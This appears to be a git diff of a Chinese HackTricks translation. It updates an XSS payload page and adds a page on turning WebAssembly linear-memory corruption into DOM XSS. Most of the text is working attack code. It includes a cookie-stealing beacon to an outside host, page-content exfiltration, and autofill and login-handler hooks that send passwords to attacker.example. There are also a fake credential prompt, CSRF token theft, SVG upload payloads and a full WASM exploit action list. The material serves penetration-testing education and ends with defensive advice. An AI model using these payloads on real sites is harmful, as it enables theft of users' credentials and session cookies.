||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!TIP]
|
||||
> 如果 cookie 设置了 HTTPOnly 标志,你将无法从 JavaScript 访问 cookie。但如果你足够幸运,这里有一些绕过该保护的方法:[一些绕过方法](../hacking-with-cookies/index.html#httponly)
|
||||
|
||||
> 如果 cookie 上设置了 HTTPOnly 标志,你 **无法从 JavaScript 访问 cookies**。但如果你足够幸运,这里有[绕过此保护的一些方法](../hacking-with-cookies/index.html#httponly)。
|
||||
### 窃取页面内容
|
||||
```javascript
|
||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
|
||||
@ -1327,7 +1337,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||||
xhr.open("GET", url, true)
|
||||
xhr.send(null)
|
||||
```
|
||||
### 查找内部 IPs
|
||||
### 查找内部 IP 地址
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
@ -1405,13 +1415,13 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
```
|
||||
_Short times indicate a responding port_ _Longer times indicate no response._
|
||||
|
||||
查看 Chrome 中被禁止的端口列表 [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc),以及 Firefox 中的 [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)。
|
||||
查看 Chrome 中被封禁端口的列表 [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) 和在 Firefox 中的列表 [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### 请求凭证的框
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### 捕获自动填充密码
|
||||
### 捕获自动填充的密码
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
@ -1422,11 +1432,11 @@ mode: 'no-cors',
|
||||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
|
||||
当在密码字段中输入任何数据时,用户名和密码会被发送到攻击者的服务器;即使客户端选择了保存的密码而没有手动输入,凭证仍会被 ex-filtrated。
|
||||
|
||||
### Hijack form handlers to exfiltrate credentials (const shadowing)
|
||||
### 劫持表单处理器以窃取凭证 (const shadowing)
|
||||
|
||||
如果一个关键的 handler(例如,`function DoLogin(){...}`)在页面后面被声明,而你的 payload 早些时候执行(例如,通过一个 inline JS-in-JS sink),那么先定义一个同名的 `const` 来抢占并锁定该 handler。之后的 function 声明无法重新绑定该 `const` 名称,这样你的 hook 就会处于控制位置:
|
||||
如果一个关键的处理器(例如 `function DoLogin(){...}`)在页面中较晚声明,而你的 payload 提前运行(例如通过 inline JS-in-JS sink),先用相同的名字定义一个 `const` 来抢占并锁定该 handler。之后的 function 声明无法重新绑定一个 `const` 名称,从而让你的 hook 保持控制:
|
||||
```javascript
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value);
|
||||
@ -1436,17 +1446,17 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
|
||||
```
|
||||
注意事项
|
||||
- 这依赖于执行顺序:你的注入必须在合法声明之前执行。
|
||||
- 如果你的 payload 被包在 `eval(...)` 中,`const/let` 绑定不会成为全局变量。使用来自章节 “Deliverable payloads with eval(atob()) and scope nuances” 的动态 `<script>` 注入技术,以确保真正的全局且不可重绑定的绑定。
|
||||
- 当关键字过滤阻止代码时,结合使用 Unicode 转义的标识符或 `eval(atob('...'))` 传递方式,如上所示。
|
||||
- 如果你的 payload 被包裹在 `eval(...)` 中,`const/let` 绑定不会成为全局变量。使用动态 `<script>` 注入技术,参见章节 “Deliverable payloads with eval(atob()) and scope nuances”,以确保真正的全局、不可重新绑定的绑定。
|
||||
- 当关键字过滤阻止代码时,结合使用 Unicode 转义的标识符或 `eval(atob('...'))` 传送,如上所示。
|
||||
|
||||
### Keylogger
|
||||
|
||||
在 github 上搜索时我找到几个不同的实现:
|
||||
Just searching in github I found a few different ones:
|
||||
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- 你也可以使用 metasploit 的 `http_javascript_keylogger`
|
||||
- You can also use metasploit `http_javascript_keylogger`
|
||||
|
||||
### Stealing CSRF tokens
|
||||
```javascript
|
||||
@ -1492,7 +1502,7 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Blind XSS payloads
|
||||
### 盲 XSS payloads
|
||||
|
||||
你也可以使用: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
@ -1561,7 +1571,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - 访问隐藏内容
|
||||
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到,即使某些值在 JS 中消失,仍然可以在不同对象的 JS 属性中找到它们。例如,在 REGEX 的输入值被移除之后,仍然可能找到该输入:
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1578,44 +1588,44 @@ console.log(
|
||||
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
)
|
||||
```
|
||||
### 暴力破解 列表
|
||||
### Brute-Force 列表
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## 通过其他漏洞滥用 XSS
|
||||
## XSS 滥用其他漏洞
|
||||
|
||||
### Markdown 中的 XSS
|
||||
### XSS in Markdown
|
||||
|
||||
能注入会被渲染的 Markdown 代码吗?也许你可以触发 XSS!查看:
|
||||
可以注入会被渲染的 Markdown 代码吗?也许你能得到 XSS!查看:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
xss-in-markdown.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS 到 SSRF
|
||||
### XSS to SSRF
|
||||
|
||||
在一个 **使用缓存的站点** 上发现 XSS?尝试通过 Edge Side Include Injection 将其 **升级为 SSRF**,使用此 payload:
|
||||
在 **site that uses caching** 上发现 XSS?尝试通过 Edge Side Include Injection **将其升级为 SSRF**,使用以下 payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Use it to bypass cookie restrictions, XSS filters and much more!\
|
||||
可用于绕过 cookie 限制、XSS 过滤等更多用途!\
|
||||
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### 动态生成的 PDF 中的 XSS
|
||||
### 动态生成 PDF 中的 XSS
|
||||
|
||||
如果网页使用用户可控的输入来创建 PDF,你可以尝试**trick the bot**让它**executing arbitrary JS code**。\
|
||||
所以,如果**PDF creator bot finds**某种**HTML** **tags**,它将**interpret**它们,你可以**abuse**这种行为来引发**Server XSS**。
|
||||
如果网页使用用户可控输入创建 PDF,你可以尝试**欺骗创建 PDF 的 bot**以**执行任意 JS 代码**。\
|
||||
因此,如果**PDF creator bot 发现**某种**HTML** **标签**,它会对其**解析**,你可以**滥用**这一行为造成**Server XSS**。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
如果你无法注入 HTML tags,可能值得尝试**inject PDF data**:
|
||||
如果你无法注入 HTML 标签,可以尝试**注入 PDF 数据**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1624,15 +1634,15 @@ pdf-injection.md
|
||||
|
||||
### Amp4Email 中的 XSS
|
||||
|
||||
AMP,旨在加速移动设备上的网页性能,使用由 JavaScript 补充的 HTML 标签 来确保功能,强调速度和安全。它支持用于各种功能的一系列组件,可通过 [AMP components](https://amp.dev/documentation/components/?format=websites) 访问。
|
||||
AMP 旨在加速移动设备上的网页性能,采用 HTML 标签并辅以 JavaScript 来保证功能,强调速度与安全。它支持多种组件来实现不同功能,可通过 [AMP components](https://amp.dev/documentation/components/?format=websites) 访问。
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在邮件内与内容交互。
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定 AMP 组件扩展到邮件,使收件人可以在邮件内直接与内容交互。
|
||||
|
||||
示例 [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS 上传文件(svg)
|
||||
### 通过上传文件(svg)触发的 XSS
|
||||
|
||||
以图片形式上传类似下面的文件(来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
将如下文件作为图像上传(来源:[http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
@ -1690,7 +1700,7 @@ id="foo"/>
|
||||
```
|
||||
查找 **更多 SVG payloads 在** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## 杂项 JS 技巧与相关信息
|
||||
## 其他 JS 技巧 & 相关信息
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1706,7 +1716,7 @@ other-js-tricks.md
|
||||
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
|
||||
|
@ -0,0 +1,133 @@
|
||||
# WebAssembly linear memory corruption to DOM XSS (template overwrite)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
本技术展示了如何将编译自 Emscripten 的 WebAssembly (WASM) 模块内的 memory-corruption bug 武器化为可靠的 DOM XSS,即使输入已被清理。关键在于不是去攻击已被清理的源字符串,而是破坏 WASM linear memory 中可写的常量(例如 HTML format templates)。
|
||||
|
||||
关键思想:在 WebAssembly 模型中,代码位于不可写的可执行页面,但模块的数据(heap/stack/globals/"constants")位于单一平面 linear memory(64KB 的页面),由模块可写。如果有 buggy C/C++ 代码越界写入,就能覆盖相邻对象,甚至覆盖嵌入在 linear memory 中的常量字符串。当这样的常量随后被用来构建并通过 DOM sink 插入 HTML 时,你可以将已被 sanitizer 编码的输入变成可执行的 JavaScript。
|
||||
|
||||
威胁模型和前提条件
|
||||
- Web app 使用 Emscripten glue (Module.cwrap) 来调用 WASM 模块。
|
||||
- 应用状态保存在 WASM linear memory 中(例如 C structs,包含指向用户缓冲区的指针/长度)。
|
||||
- 输入 sanitizer 在存储前对元字符进行编码,但后续渲染使用存储在 WASM linear memory 中的格式字符串来构建 HTML。
|
||||
- 存在一个 linear-memory 损坏原语(例如 heap overflow、UAF,或 unchecked memcpy)。
|
||||
|
||||
最小易受攻击的数据模型(示例)
|
||||
```c
|
||||
typedef struct msg {
|
||||
char *msg_data; // pointer to message bytes
|
||||
size_t msg_data_len; // length after sanitization
|
||||
int msg_time; // timestamp
|
||||
int msg_status; // flags
|
||||
} msg;
|
||||
|
||||
typedef struct stuff {
|
||||
msg *mess; // dynamic array of msg
|
||||
size_t size; // used
|
||||
size_t capacity; // allocated
|
||||
} stuff; // global chat state in linear memory
|
||||
```
|
||||
易受攻击的逻辑模式
|
||||
- addMsg(): 为已清理的输入分配一个新的 buffer 并将 msg 追加到 s.mess,在需要时使用 realloc 将容量翻倍。
|
||||
- editMsg(): 重新清理并用 memcpy 将新字节复制到现有 buffer 中,但没有确保新长度 ≤ 旧分配 → intra‑linear‑memory heap overflow。
|
||||
- populateMsgHTML(): 使用驻留在 linear memory 中的固定模板如 "<article><p>%.*s</p></article>" 格式化已清理的文本。返回的 HTML 会落入一个 DOM sink(例如 innerHTML)。
|
||||
|
||||
Allocator grooming with realloc()
|
||||
```c
|
||||
int add_msg_to_stuff(stuff *s, msg new_msg) {
|
||||
if (s->size >= s->capacity) {
|
||||
s->capacity *= 2;
|
||||
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
|
||||
if (s->mess == NULL) exit(1);
|
||||
}
|
||||
s->mess[s->size++] = new_msg;
|
||||
return s->size - 1;
|
||||
}
|
||||
```
|
||||
- 发送足够多的消息以超出初始容量。增长后,realloc() 通常会将 s->mess 放置在线性内存中最后一个用户缓冲区的后面。
|
||||
- 通过 editMsg() 溢出最后一条消息以破坏 s->mess 内的字段(例如,覆盖 msg_data 指针)→ 在线性内存中任意 pointer 重写,从而影响随后被渲染的数据。
|
||||
|
||||
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
|
||||
- Sanitization protects input, not sinks. Find the format stub used by populateMsgHTML(), e.g.:
|
||||
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
|
||||
- 通过扫描线性内存可确定性地定位该 stub;它是在 Module.HEAPU8 中的一个纯字节字符串。
|
||||
- 在你覆盖该 stub 之后,经过 sanitize 的消息内容就会成为 onerror 的 JavaScript 处理器,因此添加一条文本为 alert(1337) 的新消息会生成 <img src=1 onerror=alert(1337)> 并立即在 DOM 中执行。
|
||||
|
||||
Chrome DevTools workflow (Emscripten glue)
|
||||
- 在 JS glue 中的第一个 Module.cwrap 调用处设置断点并单步进入 wasm 调用位置以捕获 pointer 参数(线性内存中的数值偏移)。
|
||||
- 在控制台中使用像 Module.HEAPU8 这样的 typed views 来读/写 WASM memory。
|
||||
- Helper snippets:
|
||||
```javascript
|
||||
function writeBytes(ptr, byteArray){
|
||||
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
|
||||
for(let i=0;i<byteArray.length;i++){
|
||||
const byte = byteArray[i];
|
||||
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
|
||||
HEAPU8[ptr+i]=byte;
|
||||
}
|
||||
}
|
||||
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
|
||||
function readBytesAsChars(ptr,len){
|
||||
const bytes=HEAPU8.subarray(ptr,ptr+len);
|
||||
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
|
||||
}
|
||||
function searchWasmMemory(str){
|
||||
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
|
||||
for(let i=0;i<mem.length-pat.length;i++){
|
||||
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
|
||||
if(ok) console.log(`Found "${str}" at memory address:`, i);
|
||||
}
|
||||
console.log(`"${str}" not found in memory`);
|
||||
return -1;
|
||||
}
|
||||
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
|
||||
```
|
||||
End-to-end exploitation recipe
|
||||
1) Groom: 添加 N 个小消息以触发 realloc()。确保 s->mess 与 user buffer 相邻。
|
||||
2) Overflow: 对最后一条消息调用 editMsg(),用更长的 payload 覆盖 s->mess 中的一个条目,将 message 0 的 msg_data 设置为指向 (stub_addr + 1)。+1 用来跳过开头的 '<',以便在下次编辑时保持标签对齐。
|
||||
3) Template rewrite: 编辑 message 0,使其字节覆盖模板为: "img src=1 onerror=%.*s ".
|
||||
4) Trigger XSS: 添加一条新消息,其被清理后的内容为 JavaScript,例如 alert(1337)。渲染时会输出 <img src=1 onerror=alert(1337)> 并执行。
|
||||
|
||||
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
|
||||
```json
|
||||
[
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
|
||||
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
|
||||
{"action":"add","content":"alert(1337)","time":1756840476392}
|
||||
]
|
||||
```
|
||||
为什么此绕过有效
|
||||
- WASM 防止从线性内存执行代码,但如果程序逻辑有漏洞,线性内存中的常量数据可能是可写的。
|
||||
- sanitizer 仅保护源字符串;通过破坏 sink(HTML 模板),被净化的输入会成为 JS 处理器的值,并在插入 DOM 时执行。
|
||||
- realloc()-driven 相邻布局加上编辑流程中未检查的 memcpy 允许指针被破坏,从而将写入重定向到线性内存中攻击者选择的地址。
|
||||
|
||||
泛化及其他攻击面
|
||||
- 任何嵌入在线性内存中的内存内 HTML 模板、JSON 骨架或 URL 模式都可能成为目标,用以改变下游对被净化数据的解释方式。
|
||||
- 其他常见的 WASM 陷阱:线性内存的越界写/读、堆对象的 UAF、带未检查间接调用索引的 function-table 滥用,以及 JS↔WASM 粘合层不匹配。
|
||||
|
||||
防御建议
|
||||
- 在编辑路径中,验证 new length ≤ capacity;在复制前调整缓冲区大小(realloc 到 new_len),或使用有大小限制的 API(snprintf/strlcpy),并跟踪容量。
|
||||
- 将不可变模板放在可写的线性内存之外,或在使用前对其进行完整性校验。
|
||||
- 将 JS↔WASM 边界视为不受信任:验证指针范围/长度,对导出接口进行模糊测试,并限制内存增长。
|
||||
- 在 sink 端进行消毒:避免在 WASM 中构建 HTML;优先使用安全的 DOM API,而不是 innerHTML-style templating。
|
||||
- 不要在特权流程中信任嵌入在 URL 中的状态。
|
||||
|
||||
## 参考资料
|
||||
- [攻破 WebAssembly:在 WASM 沙箱中绕过 XSS 过滤器](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
|
||||
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
|
||||
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
|
||||
- [在 Chrome DevTools 中调试 WebAssembly (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
|
||||
- [SSD: Chrome 漏洞利用入门 (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user